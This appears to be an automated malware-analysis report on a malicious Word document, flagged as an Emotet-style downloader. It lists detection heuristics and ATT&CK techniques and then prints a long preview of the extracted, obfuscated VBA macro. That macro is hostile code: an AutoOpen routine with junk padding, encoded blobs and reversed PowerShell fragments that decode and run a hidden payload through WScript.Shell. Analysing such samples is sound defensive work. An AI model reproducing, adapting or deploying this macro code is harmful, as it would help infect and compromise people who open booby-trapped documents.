MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, along with a Shell() call, strongly suggesting the execution of arbitrary code. The presence of a 'macros.bas' file and the ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further support this. The VBA code likely attempts to download and execute a second-stage payload, a common technique for malware delivery.
Heuristics 10
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select MEtuQpLDi = "WScript.Shell" Select Case ztmOk -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject(MEtuQpLDi).Run YXrnjIEhcir + Chr(VBA.vbKeyC) + BuSOLzrr + tBMwmk + jWFDYAuCut, vbHide Select Case JDqDI -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "JzqGCisD" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 53686 bytes |
SHA-256: dca7d4a585d74f19e810ec372375d2e289e75c100d6f9b3e427eca86d4192dbc |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
641 of 1092 identifiers look randomly generated (e.g. 'uIn54aLQjuJGAxAgZAcDAmBgNAUGAhBgNAcDAyAA') — consistent with name-mangling obfuscation. Carved artifact contains 23 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "UGFszCvRdNjL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "iJYcuwtD"
Function faDwmuM()
On Error Resume Next
Select Case fsAMYF
Case 8707
CRjus = ChrB(luBYNF)
fJzzO = vfjHKi
Case 2500
QnGYmM = Rnd(tFHTV)
iLsbK = Cos(XAjDO)
End Select
ijOjdfuuiMz = CtOKNi("EtwIGA2AQOAkDAkBAMAIDAhBAMAIDA0AAMAkDA2AANAQGAkBwNAIGA2AQZAEGAzAwNAIDA2AQYAUGA4AgZAQDAwAwMAQDAlBwMAUGA5AgNAcDA5AQYAQDA2AQNAIGA4AgNAMGA0AQNAEGAwAQYAYDAmBQMAUGAzAQMAgDAwAQOAUJ,2b", 5 + 0, 169 + 0)
Select Case ZJbTK
Case 42983
rOVHv = ChrB(asTmD)
dtGMTq = zKdfjj
Case 83045
MDcZv = Rnd(DdKMEz)
jbEOjN = Cos(PTwHci)
End Select
Select Case zNuwMP
Case 55688
vAWJb = ChrB(pIYbJ)
fvFBDq = fTjwBV
Case 18544
NMbbCL = Rnd(CkzZuC)
hFYMs = Cos(EIstV)
End Select
DpKaD = CtOKNi("ibzDAyAwYAEGAlBwMAkDA1AgZAQGA5AAZAEGA2AQOAMGAyAANAQDAxAgNAgDAmBQOAYGAxAAOAEGAzAwYAcDAyAAMAYGA4AAMAEDA0AAZAIGAyAANAADAxAAZAQDAiBQOAADA2AQNAEDA5ViXLGY", 7 + 0, 139 + 0)
Select Case zuPBVn
Case 35188
cvzAGW = ChrB(sUDdvj)
laapcG = EUhFZO
Case 86443
iblcZZ = Rnd(IYFWLL)
oQatUI = Cos(bjLMzY)
End Select
Select Case OStYw
Case 56240
bjwUwz = ChrB(OuPUwz)
XfGDAO = wCkMi
Case 25380
dEqGlo = Rnd(wjwEjI)
iIrul = Cos(qnnVv)
End Select
NNubjBiSm = CtOKNi("wIjKRp0AgMAkDA1AgNAIDA1AgNA Fh", 4 + 0, 21 + 0)
Select Case EddNI
Case 30890
AlpZON = ChrB(TZwJz)
FwTus = zwDqR
Case 39344
WkBUV = Rnd(ozHnoj)
hcwQqd = Cos(iJHJj)
End Select
Select Case OfquQ
Case 41040
jimWAd = ChrB(KvrYS)
wjYBMJ = oqlWz
Case 47342
QuOLjT = Rnd(LFUAdR)
KifQu = Cos(RhGoiG)
End Select
wLTiaJmE = CtOKNi("wfIvre5uIn54apoRetni.EmItnuR[(::]LaHSRAM.5uIn54aecivReSPorEtNi.EMItnur[( u@At", 5 + 0, 59 + 0)
Select Case nttPZ
Case 54250
zQhjrw = ChrB(mbEBj)
siMFGC = QinZcZ
Case 6892
RLEaAW = Rnd(uwwYw)
iGCnz = Cos(XJhnJ)
End Select
Select Case FPclhZ
Case 24435
mLRsU = ChrB(hANXTT)
mOXzwp = QPGrTw
Case 20561
PBLvN = Rnd(cZTwji)
cRvHsc = Cos(BElik)
End Select
kIQNjNTCKz = CtOKNi("pdaOwZAMGA1AAMAADAlBwYAcDAkBgMAEGAiBANAgDAwAwMAgDAjBgNAYDAkBAMAIGA0AQYAQGAxAwNAEDAjBwNAUGAjBQZAIDAlBQNAMDA0AAZAIGAkBwNAQGAyAAZAEDA0AgMAQDAiBANAMDAhBAZAkDA1AQYAMGAxAAZAMGAiBwYAUGAwAQNAYGnw", 3 + 0, 180 + 0)
Select Case BXFaZ
Case 41759
UlLMYG = ChrB(KoEBP)
BnwKk = WrLKQd
Case 21895
nFUtZN = Rnd(WrFjj)
RINAkS = Cos(SNZupw)
End Select
Select Case NKiFTX
Case 86799
mHzGO = ChrB(URCAu)
rozizi = dvWnz
Case 84485
wjXFw = Rnd(fYwqZn)
kSOOin = Cos(nYNAGl)
End Select
qOcUWna = CtOKNi("KwjA0AQZAYi8i", 4 + 0, 7 + 0)
Select Case PKQUB
Case 28831
RluzD = ChrB(vTpHF)
pXLjH = KsWZV
Case 45377
LcQNiV = Rnd(YnTjU)
blDTj = Cos(uuvsD)
End Select
Select Case ONYwOP
Case 79484
uQwVv = ChrB(QIjNTY)
PEZFU = qttLT
Case 92655
JEsfE = Rnd(qnGdu)
uiFZv = Cos(SZEwJz)
End Select
JotohvsW = CtOKNi("1w24zGA0AwYAIGA0AAMAgDA3AwYAUDAmBgMAQDAyAwNAADAiBwYAYGA0AAOAIDA1AANb", 2 + 0, 62 + 0)
Select Case tJwVAE
Case 59340
jiMPB = ChrB(BhlJb)
zZbkTw = AXHKv
Case 87164
KIsSFZ = Rnd(iLztK)
iRrSpi = Cos(vTiNB)
End Select
Select Case ZNKdp
Case 71497
SKlUHZ = ChrB(ErJzh)
qFYFq = iWcwbJ
Case 14769
Yaksw = Rnd(WfPWw)
czEmZ = Cos(OqiToE)
End Select
SzfIAippR = CtOKNi("Vp8K143240f3476111d29467'($(EDoCInUcOlLALABoLGoTgNiRt5uIn54aErUCeS::]LahSram.5uIn54aEcivrESpORetnI.EmItNUr[ (eKoVNi.)EMaN.]2[)(SrEbmemtEG.]LAHSRAM.SECG2Dj", 5 + 0, 134 + 0)
Select Case rCKpNJ
Case 20240
CfiGQA = ChrB(CLqCH)
VlRqWv = RrElfF
Case 10106
MpBMo = Rnd(ZRafJ)
toTdmz = Cos(WQszq)
End Select
Select Case HOfTf
Case 51565
BEmHzR = ChrB(hwMQa)
pLsWRb = LGjFt
Case 35485
jOTtZM = Rnd(roTET)
dvsiw = Cos(mSvWI)
End Select
ahaSWHjsHfW = CtOKNi("tG6iLwCEp5uIn54aMOC:VnE$ ( . | )) ))26,761,26,432,32,38,642,212,202,13,621,11,432,49,05,251,942,09,65,111,921,591,942,022 YeK- gnirtSeruCES-oTTrEVNOC |'==AA1AQMAYGA5AQYAEDA3AAOAgDAjz", 2 + 0, 170 + 0)
Select Case DJavU
Case 64097
iXVSf = ChrB(rNdwX)
SwWnQ = BJmfa
Case 71598
KrWDnv = Rnd(lqohH)
MPFsJU = Cos(wqDhV)
End Select
Select Case wULDo
Case 85067
EtwsGj = ChrB(ujLtz)
qADFF = TjBZof
Case 71798
hzWaC = Rnd(rwtjkG)
jfhIK = Cos(MTwQG)
End Select
YjKtmzHuj = CtOKNi("wWD58dZAcDA5AAZAEDA3AwNAcDAyAQOAMGAhBAZAYDA3AQNAUGAlBQYAUGAiBAZAQDA4AgNAMDAyAwNAUGA1AQYAIDAxAgYAIGAwAQZAEDAxAgMAEDAmBgNAkDA4AANAkDA0AwNAYGA4AwMAYGAwAgNAIDAiBQOAYGAxAgMAMDAwAQZAkDAyAgZAIGA4AAMAcDA3AN", 2 + 0, 191 + 0)
Select Case LZDDUI
Case 24520
JnuJl = ChrB(UjuGTU)
UmDUQd = YDjiQ
Case 54944
GnsZbX = Rnd(zslXXT)
fZrwlw = Cos(mziDir)
End Select
Select Case FGjjp
Case 88244
aGXKdV = ChrB(SbzQjT)
hjAKYK = moTfcH
Case 97721
jtYkV = Rnd(zTAQu)
JitCvX = Cos(YafWR)
End Select
oncofJTVANw = CtOKNi("wjAIGAmBgNAMGAxAgNAEDA1AgMAEDAzAAOAYDAyAANAMGAxAAOAYDAmBgYAEGA2AQYAkDAzAANAkDA1AwYAADA2AQYAYDAiBQNAEGAjBQMAIDA0AgYAADAiBAOAMGAiBgYAIGAkBgMAEGA5AQMAADAjBQNAIGAkBwMAkDA0AwMXjpw1", 6 + 0, 168 + 0)
Select Case knREiB
Case 26654
wuGsww = ChrB(iNAui)
kIuRk = latBX
Case 13484
kfhPV = Rnd(jFKkn)
zYIqN = Cos(bnPzfX)
End Select
Select Case VjDim
Case 41752
uRUwi = ChrB(MsuzTC)
VjTQH = itwtzj
Case 93475
DbMvUu = Rnd(fHDpna)
pwXkK = Cos(woNmbz)
End Select
iVLEJLXvvI = CtOKNi("jFkX%Vo1AQNAYGA5AAOAkDAhBwYAUGAwAQZAgDAzAgNAUGAmBQYAMDA5AQMAIGAzAANAADAjBwYAgDAjBQZAQDAlBgZAgDA0AgZAcDAwAQZAYDA4AQMAcDA3AwYAMGAzAAZAgDAzAwMAADA3AQMAkDAkBAMAkDAzAP", 2 + 0, 154 + 0)
Select Case HwXWOh
Case 6183
RhCwH = ChrB(pYPbU)
SECWM = HjONa
Case 39480
Grjkj = Rnd(FWGXPV)
CkIQzL = Cos(iVDtB)
End Select
Select Case pzMfMP
Case 39284
YWBEVz = ChrB(RijmRb)
QjPUY = zlWCtI
Case 517
JbnUw = Rnd(UZlow)
mIhWaz = Cos(fjfQs)
End Select
VXROVkPC = CtOKNi("3QPR0AYGAxAwMAADAhBQMAQGAjBANAADA5AwYAUDA3AwMAQDAiBwMAQDA1AAOAMGA4AgNdj", 3 + 0, 64 + 0)
Select Case hBnAwK
Case 25436
RHHwRS = ChrB(pquaW)
ApDAcu = UbdKu
Case 57295
DjZni = Rnd(nVAaaI)
lpskpW = Cos(hLkzW)
End Select
Select Case RzBzhv
Case 98173
PblUh = ChrB(pAOMZ)
XmBtF = sUkmM
Case 46751
CFHXC = Rnd(DzAUA)
tjGWrc = Cos(njcfw)
End Select
EzNTnXj = CtOKNi("pHd8@A5AANAQGX", 2 + 0, 7 + 0)
Select Case uSDiX
Case 57238
NGiPi = ChrB(LrWKXR)
BMflw = Jrkhaa
Case 17780
ICAVc = Rnd(mimErn)
QdRWF = Cos(zGhmR)
End Select
Select Case EzUMar
Case 94566
faXdKZ = ChrB(ZRCLUw)
FrwQaA = kNHhOi
Case 67698
wmfXW = Rnd(jmlYCk)
LXbfzJ = Cos(cNJRwi)
End Select
NGRltlz = CtOKNi("Q@5uIn54a1AQYAIGAiBgZAUDAxAQNAUGA3AgNAADAmBANAADAxAwMAYDAwAAOAMDAxAgMAgDA1AQOAUDAiBQMAIDA4AQMAMGAxAAZAQGAlBQYAMGA1AQNAcDA5AgYAkDAzAAMAEDA5AQZAEGA5AgYAkDA5AAZAMDAkBAOAIDA0wa", 4 + 0, 159 + 0)
Select Case MPvwrt
Case 19484
Qjwbz = ChrB(FMsXP)
ZqjBR = pmicN
Case 52006
CWWpcL = Rnd(TpGvjV)
XXARu = Cos(JVWjui)
End Select
Select Case tbEKmm
Case 48534
NoTOnw = ChrB(zqfnkB)
sCjOU = GVsZY
Case 16827
jzSMob = Rnd(mHIDj)
PjabPZ = Cos(UiCaXR)
End Select
CqnwLlCLVml = CtOKNi("PA2IDA3AwNAMGAyAwYAYDAxAAOAUGA1AwMAADA0AQOAEGAyAQYAUDAkBwNAADAiBQNAIGAxAgNAcDAkBQYAUDAhBQZAQGA0AwMAMDA5AQNAYDAjBAZAcDAhBAOAYGAlBQYAYGAyAANAYDAlBQYAEDAhBwMAEGAmBgMAIGAxAQZ9if%", 5 + 0, 167 + 0)
Select Case nrwtq
Case 58302
IzXSw = ChrB(hlluj)
fpavQK = NZzzro
Case 44627
jvKON = Rnd(kHjCJ)
QOjwH = Cos(qliNwj)
End Select
Select Case zfOXmu
Case 61932
vFpNTS = ChrB(Rpzwpj)
ZacRC = Dizko
Case 63703
dwKtws = Rnd(vqLjaW)
wjcGiE = Cos(GnuUrV)
End Select
UhctVQn = CtOKNi("ViIDAzAANAYDAjBwNAkDA1AQNAMGAiBAOAIDA4AwNAYDA0AwYAMGAjBwYAEGAkBQNAMDAzAQNAEDA1AANAIGAxAQNAEGAzAANAkDA1AgZAUDA1AwMAADAjBAMAMDAlBgZAMGAxAgNAcDA2AAZAMGA1AQOAIDAwAAOAgDA4AwYAEDAhBgZAEwZod", 5 + 0, 177 + 0)
Select Case MHEZmb
Case 17790
fFCzw = ChrB(iPtrj)
FCViJ = vXLPYE
Case 44436
jiHJou = Rnd(iBWDhF)
XXBdKJ = Cos(JmZQJf)
End Select
Select Case pbYvTW
Case 48782
QIiFrr = ChrB(AiDDu)
TVobE = VLrjf
Case 34817
iKzGS = Rnd(nqhvsk)
iAEhEQ = Cos(FVGjUP)
End Select
WhGzHiQQp = CtOKNi("H98SjA3AQZAEGA2AANAADA0AQZAEDAkBwYAIDAxAQZAADAhBgNAMGA4AwNAEDAhBQYAwHA9AQPAEFAlBwQAQFAiBQeAwEA1BQeAADA2AgWAkFAWBAUA0EA3BQUAYHAoBwKAMGA8BgM5435a05061z", 2 + 0, 143 + 0)
Select Case DSYbC
Case 76565
IHDclW = ChrB(imZvq)
XVGKb = rDMDN
Case 72132
MjXIT = Rnd(wwVsAF)
tTXjj = Cos(iqwiLO)
End Select
Select Case nEtLbn
Case 91496
WkaSXz = ChrB(WwUuGk)
iaQHIu = RqaPVm
Case 55547
CUSJTV = Rnd(whujXM)
ZbqzN = Cos(TvUiA)
End Select
OaaHv = CtOKNi("9JniANAIDA5AgNAYDAzAgYAYDA0AQMAQDA5AAZAQGAiBQMAYGA3AwYAcDAzAAZAUGA4AAMAgDAkBwYAYGA3AQNAIGA4AgNAcDA0AwNAIGA2AQYAYDAhBgMAADAiBANAIDA0AgNAIGAhBAO6.k", 5 + 0, 137 + 0)
Select Case EuADB
Case 21415
jwAcz = ChrB(FzbjM)
XSwQw = WZGXG
Case 109
IHQnwd = Rnd(YHjYZz)
iHXrMH = Cos(dtIiB)
End Select
Select Case FPRMo
Case 34724
ZOzXTn = ChrB(iRGWW)
zWRXwm = FwimJ
Case 60905
jovvwV = Rnd(bcWCI)
EarnK = Cos(nJizuQ)
End Select
PbzjKdimNi = CtOKNi("fApG5A3AwMAEGA0AAZAYGAiBgZAUGA4AwYAYGAyAQOAUDAwAANAIDA0AgNAIGA3AgYAUGAkBwYAADA0AwNAMGA4AQOAkDAzAgYAMDAyAAOAYGAhBQNAIGAjBQZAYDF8@", 4 + 0, 120 + 0)
Select Case AicjL
Case 27836
nUpVLZ = ChrB(jWuuV)
iMiErc = sqBrBi
Case 90310
iwsLn = Rnd(UklVc)
iHnnDY = Cos(XoDYsi)
End Select
Select Case jTlBf
Case 76242
TlsIUQ = ChrB(WmQOdL)
KRwwfS = OMPcAC
Case 16616
EkfGi = Rnd(FlwjJM)
TNiHwf = Cos(CnEzV)
End Select
VBVpda = CtOKNi("49YAYGAhBQYAUGAlBQYAEDA5AQMAYDA4AQOAIDAwAANAADAiBQMAYGAzAwNAUGA4AQZAIGAmBgZAMGAxAwMAMGAxAQMAIGAzAwMAIGAn@QDu3", 7 + 0, 101 + 0)
Select Case FZcjTO
Case 53991
hfjXh = ChrB(FfAQWF)
uwlUC = mIRjj
Case 71028
mfISMv = Rnd(UmivkQ)
RWmndQ = Cos(LbrLRr)
End Select
Select Case clZIzZ
Case 87925
tOjOn = ChrB(Bkcrh)
aXuib = UoRiEo
Case 32534
siLzAr = Rnd(zbqut)
APAEGE = Cos(CEqvhT)
End Select
dzLdG = CtOKNi("jH.05uIn54aGAhBAOAcDAxAQZAYGA3AQYAUDAmBAMAUGAkBwNAQGAzAQZAgDAwAQOAMGAmBgMAMGAzAwNAgDA5AQYAIDA4AQOAEDAmBgMAUGAlBQMAEGAxAQMAYGA2AwMAi", 2 + 0, 119 + 0)
Select Case FFOKr
Case 95857
jWYfq = ChrB(VbvEjh)
TYQZwj = knnQP
Case 64040
ztNjCv = Rnd(UscYPP)
bJmLz = Cos(ljpoL)
End Select
Select Case mNvXX
Case 40143
cHHPDm = ChrB(CDPQEk)
HEMObQ = ILqQQ
Case 21819
zMOcfw = Rnd(fMqKuc)
vlqYaK = Cos(JiJvEh)
End Select
EWcJTXwY = CtOKNi(".rl4lUAMGAyAgYAgDA1AANAADAxAAOAQGAwAwNAQDA4AANAIGAjBAMAIGAkBQZAYGAxAQOAUDAmBwYAUDAzAgMAQDAiBgMAYDAiBAMAMGAxAwMAIDAkBANAUGA2AgNAkDAyAwYAIGA3AwNAIGA3AQYAUDAyAgNAEDAkBg.Gp", 4 + 0, 159 + 0)
Select Case wQwmb
Case 68605
rBoYn = ChrB(bsWDjo)
NZzsq = LqdEj
Case 52192
fivrY = Rnd(suDjC)
mSEQMF = Cos(QUHXR)
End Select
Select Case CCprc
Case 92163
jYQqs = ChrB(iKWlw)
vspFP = RiBnXf
Case 88308
ffRYz = Rnd(UhNYY)
mOCIXS = Cos(WoaMw)
End Select
jzOCIShR = CtOKNi("p6AiBQNAIGAjBQZAYDAhBQNAYGAzAANAMDAwAAMAIDAiBQMAEGAkBAOAgDAwAANAQGA4AAZAEDAxAgMAQGAlBQYAEDA5AwYAkDA2AgYAADA4AAOAQDA5AQZAEGA3AAZAADAlBQNAMGAjBwMAQGAkBQZAMGAhBQOAMDAzAQMAMGAmBQNAgDA2AQtAB,42b", 8 + 0, 180 + 0)
Select Case ILRDwB
Case 72547
auwszl = ChrB(jOiRjT)
CctPFI = cETUw
Case 83274
DdRXn = Rnd(LUDPa)
onZvuQ = Cos(MIpKj)
End Select
Select Case GaOaXi
Case 4952
XzmtC = ChrB(kSzPZR)
hqVGh = wEWPuc
Case 73984
PjFkk = Rnd(LHTjj)
kHFGl = Cos(zNZjs)
End Select
popMmt = CtOKNi("hooP0fAOAYDA1AgZAUDAkBgYAUGAiBQMAcDAhBwYAEGAmBAOAcDA2AgMAcDAkBQNAMGAjBgYAMDAlBAOAUDAjBAZAYGAxAANAQDA5AAMAEDA4AQZAYGA5AgNAIDSA", 3 + 0, 117 + 0)
Select Case qwGwB
Case 65609
QQwVls = ChrB(oLMZXp)
QBozP = hiYdfo
Case 71759
ozMGlo = Rnd(AolTN)
YmBAM = Cos(zZuRz)
End Select
Select Case QUwsiw
Case 20070
TtmDc = ChrB(oiYKoC)
wQkWi = CsIKn
Case 47221
czsid = Rnd(HwJsJ)
ukSHi = Cos(GDWSEL)
End Select
QVhlTjIpU = CtOKNi("LE@V.K6b3Vo", 3 + 0, 2 + 0)
Select Case DcHRL
Case 67563
fOLpqt = ChrB(RvToYa)
kjklZ = jVsKu
Case 63004
Zuziw = Rnd(KVjZc)
oSpID = Cos(fkATsW)
End Select
Select Case tkaLhh
Case 48994
atwcG = ChrB(SNlMGR)
iEBvZ = wtYKl
Case 92979
UwoBT = Rnd(BzFbhk)
IDFEQ = Cos(GaOjY)
End Select
NkTjHwuZV = CtOKNi("Vo5uIn54aojqAAZAcDAyAgNAADAiBgYAkDA1AwMAIGAmBQYAYGA1AgMAYGAjBAZAIGAkBQMAkDAhBQOAYGAzAQOAUDAlBwYAIDAyAQYAQDA0AQOAADA2AQYAMDA1AwMAEGAwAwNAIDAxAQNAcDAlBQNAQDAmBQOAkDAhBANAADA4AgZAADAzAQOAEDAiB4i", 3 + 0, 177 + 0)
Select Case HVcGB
Case 66049
fuXTZ = ChrB(sKQQZd)
KCDto = uOqlG
Case 35783
lMaYq = Rnd(sUFcl)
fUXNpJ = Cos(CDFESj)
End Select
Select Case waodj
Case 45405
rwwIi = ChrB(IOQmoZ)
mUzVCS = ujQmY
Case 21383
BzTFj = Rnd(mpBmq)
tRpkOq = Cos(PTicT)
End Select
WOCcchviuJU = CtOKNi("5uIn54aLQjuJGAxAgZAcDAmBgNAUGAhBgNAcDAyAAOAUDA0AQYAEGA4AgZAkDAiBQZAQDAxAQZAgDAkBAMAw", 2 + 0, 71 + 0)
Select Case NUIIhL
Case 67896
GHOwh = ChrB(BnzTK)
NZlEwC = UvEXWA
Case 58312
EdjTb = Rnd(VnKao)
lDbWLS = Cos(NoiEKf)
End Select
Select Case RsGKDd
Case 1543
uviOz = ChrB(iEvvU)
wHqCj = MzJncE
Case 15359
iRAmwp = Rnd(QqrWM)
XhUizi = Cos(zKBDiX)
End Select
iarjsAUkS = CtOKNi("zHbW@MDA1AANAUGAmBAMAYGA0AwMAADA1AgMAMDA3AgMAIGAzAgYAMDAmBgYAUGAiBQMAYDAlBwMAQDAxAAZAQDAiBQZAkDA1AQOAgDA5AAZAIDAmBAMAYDA3AQNAADAmBwMAMDA3AAMAIGA1AwYAkDAkBgZAQGAwAgZAUDAjBAOAIDAxAANAIGAmBgYAMGAzAQMAUDAlB8O6", 4 + 0, 197 + 0)
Select Case BMHSZ
Case 11725
oNDJw = ChrB(jfRzjT)
oRpEia = iYPzH
Case 52005
VEjYw = Rnd(SiUQZ)
zQSsC = Cos(KdckW)
End Select
Select Case naQGwh
Case 76845
Vllzw = ChrB(wlIYZK)
hlcUH = hzHkBv
Case 16912
MjSNqM = Rnd(PzvEbk)
IuRMri = Cos(polqw)
End Select
SkjqtSCJMcK = CtOKNi("GSdr9@KuQMAIA", 2 + 0, 4 + 0)
Select Case bNAjD
Case 75509
mEqLiz = ChrB(SljPf)
GpNSoE = dXsjWs
Case 11641
BzLBo = Rnd(oDEGit)
mDHWL = Cos(zmAhuz)
End Select
Select Case VKGVDz
Case 5198
zYfKwj = ChrB(oIfQv)
sPsFwh = JSpHbZ
Case 29832
jBrbwn = Rnd(NoFXYw)
SNdTI = Cos(uOPGRH)
End Select
wHcKisd = CtOKNi("fji@vBAMAYDAmBwMAQDA1AAZAUGA0AgNAEGAxAQYAcDAkBQZAEDAkBAOAUGAlBgYAUGAwAAMAUDA5AQYAYDA5AQNAEDAwAAZAZ", 2 + 0, 92 + 0)
Select Case hjXiWQ
Case 69908
Gnowz = ChrB(CEzYJw)
zbiIRm = VlkKoG
Case 29861
QXAHOR = Rnd(ZoVIi)
JQiIKt = Cos(HtaFiB)
End Select
Select Case sAXphr
Case 90481
omPSJ = ChrB(DCKrWi)
jEREJi = GlzaaL
Case 8038
mhSIj = Rnd(rMmwUd)
ScEIv = Cos(IvFlXI)
End Select
ifIAMsfLP = CtOKNi("@dpYXAkDA5AgNAQDAwAQYAUDAiBQNAADAzAgMAQGAlBQZAQDAwAQNAIDA0AQOAQDA4AAOAYDAzAAZAYDAmBAB", 2 + 0, 79 + 0)
Select Case uDnos
Case 96483
iPdYNC = ChrB(ssiGo)
PoIuS = Qvdhwv
Case 99874
joZzG = Rnd(ipCwj)
ttQDbf = Cos(DvGusW)
End Select
Select Case sKoZw
Case 35105
LltPDG = ChrB(AaRiQ)
rClQF = DvoZpu
Case 71087
sULCO = Rnd(jRdXC)
jwmfo = Cos(WWapZX)
End Select
ZbOKhYJRfiz = CtOKNi("wnBUiAjBgZAMDAzAgZAYGAkBwYAEGA5AQOAcDA2AAOAkDA0AQYAUDA3AQMAcDA5AwNAMGA3AAOAYGAzAQYAkDA0AwMAYGAwAQYAMGAjBQZAYDAkBAOAIDA3Af4", 3 + 0, 115 + 0)
Select Case MOvXM
Case 8731
SCSjP = ChrB(QOfaZ)
OCAEI = lrYOi
Case 5111
niBmot = Rnd(Thkhj)
QYhHr = Cos(QLIRMK)
End Select
Select Case iDVpk
Case 45500
iRDQw = ChrB(RJaBHz)
nRsZu = KSpdhN
Case 66826
BRtOuI = Rnd(wltAcI)
rrmnm = Cos(SQKvvC)
End Select
bAKwtdhvVm = CtOKNi("42@BANAkDA4AQOAUDAmBgMAYGA2AwMAIDAlBQNAgDAmBwMAEGAwAQYAYGA3AgMAkDA3AANAEDAxAgNAcDAhBQZAgDAyAgYAUGAxAwMAYGAyAQOAIGA5AANAUGAyAwYAwZJ", 4 + 0, 124 + 0)
Select Case spoVD
Case 26075
QshnN = ChrB(fpjzZR)
mazqu = nNkGzS
Case 84752
rJzXwP = Rnd(HzKwZw)
dkLWi = Cos(aRszbd)
End Select
Select Case OPcun
Case 98998
iLLYj = ChrB(uoUko)
YQvwbO = RCiPir
Case 54876
qrWJZj = Rnd(bVuBiD)
rpckIo = Cos(SQAjFh)
End Select
hAqiOrwojia = CtOKNi("qwH5tpikDAiBwYAYGAzAgMAEGAhBQZAIGAxAAOAADA5AAMAEDAxAgYAADAjBgMAEDAwAAOAMDA1AAMAQGAhBgMAYDA2AgMAMDAjBAMAMGAzAwNAgDA0AgNAkDAyAgNAMGAmBgNAYDAzAAc", 2 + 0, 134 + 0)
Select Case zwhjH
Case 39534
zzaOP = ChrB(oaDajd)
Ktmtjo = XbVdUw
Case 32554
ZNUXjj = Rnd(rBWsrI)
MawbEA = Cos(JowTa)
End Select
Select Case mrawKi
Case 59548
sIShS = ChrB(RhoZC)
FIFmcu = uQqVo
Case 71360
PPHTr = Rnd(kXrIQa)
pZEsV = Cos(pjimn)
End Select
CmwPJidATvD = CtOKNi("2u99F,uw)''NIOJ-]52,51,4[l", 2 + 0, 17 + 0)
Select Case QNkBC
Case 75834
wRlCaV = ChrB(NKhQzW)
afVLz = avSkdT
Case 97937
bAWpUm = Rnd(DDXiXm)
iBNpR = Cos(piPpE)
End Select
Select Case KYiMwb
Case 69978
TmSmTY = ChrB(GFrWY)
RMHUu = wQhzz
Case 65441
wGsRo = Rnd(tJlCE)
FGjpv = Cos(zAmsL)
End Select
GYSPFqCd = CtOKNi("kbjgYAMGA4AwNAcDA2AQNAIG@i", 4 + 0, 20 + 0)
Select Case rBRnKm
Case 79522
ECaAN = ChrB(DPfDjJ)
NoDMb = tChiFu
Case 35218
moFwz = Rnd(mDDjj)
GAhViM = Cos(XdMOa)
End Select
Select Case zSnJP
Case 32896
Nnncw = ChrB(hffOaX)
lQjYs = BnzZM
Case 81300
hzRjt = Rnd(sJMZNq)
UNLARU = Cos(zYjmO)
End Select
oAJMo = CtOKNi("IpuziDA0AAMAUDA3AAOAMDA4AQOAMGA2AgMAIGAkBgZAUDAmBQYAQGAmBANAYDAwAQNAIGAhBwYAEGA5AQOAADAyAQYAIGAmBgYAMDAyAAMAEDAhBAMAEGA1AAMAMGAwAQMAUGA3AgYAMGAyAQMAUDAjBQOAgDAxAQZAADAkBQZAYGA5AQOAQDAiBwMAMDAjBAZAkDA.P1", 5 + 0, 193 + 0)
Select Case MQfOO
Case 52653
czkNwV = ChrB(fvZrTh)
iobzI = kWJOiS
Case 54376
cdwLl = Rnd(PUczB)
aaEzrT = Cos(PdbDOF)
End Select
Select Case mjlLY
Case 65342
ajASMi = ChrB(YwGpa)
NUuhj = iEfLI
Case 77442
BEFunz = Rnd(zKTrY)
zMCkz = Cos(CoDSmD)
End Select
mvQdW = CtOKNi("wF2hNAYDA4AgNAMGAjBgNAQDAhBwMAUGA0AAZAEGAyAAOAIGAiBAOAkDAxAQMAkDA2AQZAgDA5AAZAMGAlBwMAcDA5AANAEDAlBgYAYGAkBQZAcDAxAgZAIDAlBgYAQDAhBQOAUDA2AQYAgDA1AgZAEGAxAANAkDAlBgMAkDA2AAZAEDA3AQYAIGA9a", 3 + 0, 181 + 0)
Select Case SDduXr
Case 58741
jISESp = ChrB(WDBDJ)
JSBvO = luzlTq
Case 23567
JVPvzt = Rnd(QDkfil)
RARjuG = Cos(kczJJ)
End Select
Select Case ifzKS
Case 23675
lIFRj = ChrB(EijLb)
wwdYA = uGIor
Case 32342
nGmfm = Rnd(ujsAt)
ARaaZ = Cos(ImJlOE)
End Select
